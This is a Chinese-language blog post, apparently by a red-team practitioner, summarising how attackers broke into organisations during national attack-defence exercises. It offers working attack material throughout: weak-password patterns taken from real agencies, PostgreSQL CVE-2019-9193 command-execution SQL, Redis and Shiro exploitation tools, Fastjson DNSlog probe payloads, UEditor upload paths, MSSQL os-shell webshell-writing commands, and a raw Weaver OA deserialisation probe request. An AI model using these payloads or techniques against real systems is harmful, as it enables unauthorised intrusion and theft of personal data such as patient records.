前言
本篇文章是攻防演練中攻擊方是如何打開缺口的方法的總結,
(可能思路狹隘,有缺有錯,師傅們多帶帶)
Author: 0ne
本篇文章資料來源于18+省市級別HVV,90+單位失陷報告,(一部分是筆者的參與,一部分是薅的公司其他師傅的報告)思路樸素不包含釣魚和叼炸天的0day,

突破入口點方法統計圖:

攻防演練中得分項只關注兩點,權限&資料:權限型別分為系統權限和應用權限,權限高低又分為管理員權限和普通用戶權限,資料一般是要四件套,姓名,手機號,身份證,住址,通常敏感資料這樣定義,不過看當前的應用可能敏感資訊的定義又會不同,比如醫院系統,病例資訊就算是敏感資料,
根據上述統計結果由高到低選取部分得分方法進行說明,
弱口令[web應用]
弱口令是永遠修復不了的漏洞,每場攻防演練都會有弱口令撕開的口子(出現次數
29)
這里討論的是一些web應用的弱口令,不包括統計結果的PostgreSQL/Redis/VPN/Jenkins/Adminer的弱口令,
說起弱口令那就不得不提爆破的技巧了,爆破前應想辦法繞過驗證碼,部分驗證碼存在不重繪或是有驗證的邏輯錯誤可繞過的情況,通常在忘記密碼處可能會存在用戶名列舉漏洞,對于用戶名字典,根據當前的系統可猜測為姓名簡稱或是工號ID,也可翻閱當前登錄框的JS正則或是Google資訊搜索進行合理猜測,在有大量用戶基數的情況下,通常固定弱口令遍歷用戶名效果最佳,在多次通過SQL注入獲取登錄后臺密碼md5解密后的情況來看,管理員以域名簡稱或是系統簡稱+@年份出現,或是相關的簡稱的密碼概率不小,如:某消防系統/bjtuxfk[xxxx消防科],某婦聯后臺/gzfl@2020,
好用的字典
https://github.com/fuzz-security/SuperWordlist
https://github.com/gh0stkey/Web-Fuzzing-Box
弱口令[其他]
資料庫弱口令只遇見了PostgreSQL/Redis,其它未遇見可能那些常見使用的資料庫經常使用,剩下的可能連運維都不知道這開著的,
PostgreSQL(從版本9.3至11.2)任意命令執行漏洞(CVE-2019-9193)
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
Redis
連上先info查看Server資訊[redis版本和OS資訊]:
Redis 4.x/5.x RCE
https://github.com/Dliv3/redis-rogue-server
https://github.com/0671/RedisModules-ExecuteCommand-for-Windows
Linux
寫計劃任務,寫公鑰,寫webshell[知道web路徑]
Windows
寫啟動項,寫webshell[知道web路徑]
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
https://github.com/r35tart/RedisWriteFile
windows說實話沒遇到過,權限夠了,先寫啟動項,再想辦法給它干重啟[YY的沒打過QAQ]
這兩篇windows&redis蠻細的:
https://xz.aliyun.com/t/8153
https://xz.aliyun.com/t/7940
VPN弱口令
如果是WebVPN的話,用戶基數大,可以固定弱口令按照學號工號ID爆破,案例中的VPN弱口令是一個客戶端,需要下載,密碼不像是試出來的,更像是從Google/Git資訊泄露,或是知道該員工的手機號扔進褲子里,根據里面的資訊拼湊出來的[個人猜測],
Jenkins弱口令
后臺腳本命令列可執行命令,LOLBAS下載執行沒啥說的,
Adminer弱口令
mysql寫webshell也沒啥說的,
shiro反序列化
shiro永遠的神!沒有shiro我都不知道怎么日站了(出現次數
28)
這兩年來shiro反序列化可謂是攻防演練中的漏洞利用之首,無論是公司自研的資產收集平臺還是git上優秀的專案ShuiZe等等都帶著shiro指紋的識別,專找目標的shiro也很簡單,目標發散到域名發散到子域名發散到IP到全埠,將這些URL匯入shiro識別工具,再跑key,再利用,統計的28個shiro中有27個通過OneforAll或是FoFa等方式收集,其中有一個shiro在微信公眾號中找到的,
好用的tools:
https://github.com/pmiaowu/BurpShiroPassiveScan
https://github.com/wyzxxz/shiro_rce_tool
https://github.com/j1anFen/shiro_attack
任意檔案上傳[通用]
樸實無華(出現次數
10)
一般情況下拿shell最快的方法就是找上傳,我們應該快速驗證上傳是否是基于后端的白名單校驗,如果是后端的白名單校驗,在沒有決議漏洞或是其它漏洞的組合下,我們應該放棄該介面,需要注意的是我們在上傳檔案判斷黑白名單時,上傳的檔案內容最好是無害的,否則可能會WAF干擾,我們一定要清楚該次上傳失敗是因為程式本身的限制還是WAF的阻攔,切忌對upload介面fuzz,雷聲大雨點小,
值得一提的是在統計的10次上傳中,有一次在微信小程式,有一個swagger資訊泄露upload介面,有一次在某銀行的在線聊天系統,點擊人工時,會出現傳圖片的按鈕,
客服系統:

還有一個案例:
進入后臺通過Kindeditor檔案上傳,又通過XXXX進行檔案管理,有重命名功能,改為.php,getshell,
檔案上傳繞WAF的本質就是服務器與WAF對資料包決議的差異性,下面提供幾個畸形資料包:


Fastjson反序列化
也好用(出現次數
6)
判斷是否為fastjson:報錯拋出例外或是DNSlog
{"rand1":{"@type":"java.net.InetAddress","val":"gbi7ge.dnslog.cn"}}
{"rand2":{"@type":"java.net.Inet4Address","val":"gbi7ge.dnslog.cn"}}
{"rand3":{"@type":"java.net.Inet6Address","val":"gbi7ge.dnslog.cn"}}
遇見WAF:
hex編碼或是\b:

詳見:
https://www.sec-in.com/article/950
https://xz.aliyun.com/t/7568
好用的tools:
https://github.com/pmiaowu/BurpFastJsonScan
https://github.com/wyzxxz/fastjson_rce_tool
https://github.com/feihong-cs/JNDIExploit
敏感資訊泄露
蒼蠅再小也是肉(出現次數
5)
醫院啊,這個比較多遇見的案例都是微信公眾號或是小程式,遍歷病例資料:


還遇見了swagger資訊泄露構造介面查詢:


UEditor1.4.3任意檔案上傳
出其不意(出現次數
5)
當遇見.NET的網站時,右鍵查看圖片URL為~/ueditor~/upload/image/[20200101]這種年月格式/25位數字.png,就可以判斷該站點使用了UEditor[直接目錄掃描工具掃也行],就需要我們拼接出路徑~/net/controller.ashx:
~前面可能不太固定需要自己在JS里找資訊,或是合理猜測,
提一嘴,之前遇見個站點.png?.aspx,站點回傳了404,可以直接.png.aspx,同時UEditor有過濾?的特性,在有WAF的時候可酌情使用,


MSSQL堆疊注入
基操
--os-shell后,得到一個命令列,一般是certutil下載執行或是powershell直接上線,也可寫入webshell:
找靜態資源定位物理路徑
for /r C:\ %i in (*xxx*) do @echo %i
dir /s/a-d/b C:\*xxx.xxx
echo ^<一句話^> >C:\phpstudy_pro\WWW\shell.txt
<>注意使用^轉義


OA系統
沒啥說的,有0day砸0day
泛*OA,致*OA,通*OA,用*NC
github搜搜搜,內部自己有積累未批露利用點最好,
泛*OA的兩個案例用的WorkflowServiceXml反序列化比較絲滑,
判斷是否可利用:
POST /services%20/WorkflowServiceXml HTTP/1.1
Host: xxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 523
Content-Type: text/xml;charest=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest>
<web:string>
<map>
<entry>
<url>http://m5alw5.dnslog.cn</url>
<string>http://m5alw5.dnslog.cn</string>
</entry>
</map>
</web:string>
<web:string>2</web:string>
</web:doCreateWorkflowRequest>
</soapenv:Body>
</soapenv:Envelope>

雜七雜八
胡言亂語
SQL注入獲取敏感資料感覺沒啥提的,記得sqlmap加上引數random-agent,
S2在外網見的少了,也不知道大佬咋FQ進去的,
歷史遺留后門404.jsp成了入口點也是離譜,
各種debug資訊泄露云key匯入行云管家證明權限就OK,
已經語無倫次了......
閑言閑語
柿子撿軟的捏
web打點本就是個效率活,打得就是軟柿子,不要給你一個站點測了半天到最后才發現:咦這里有個上傳/shiro/fastjson....這就耽誤功夫了,要帶著目的性,盡量減少試錯的程序,少做無用功,
轉載于https://xz.aliyun.com/t/10400#toc-11
__EOF__
作者: 隨風kali 本文鏈接: https://www.cnblogs.com/sfsec/p/15508767.html
著作權宣告: 本博客所有文章除特別宣告外,均采用 BY-NC-SA 許可協議,轉載請注明出處!
聲援博主: 如果您覺得文章對您有幫助,可以點擊文章右下角【推薦】一下,您的鼓勵是博主的最大動力!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/348192.html
標籤:其他
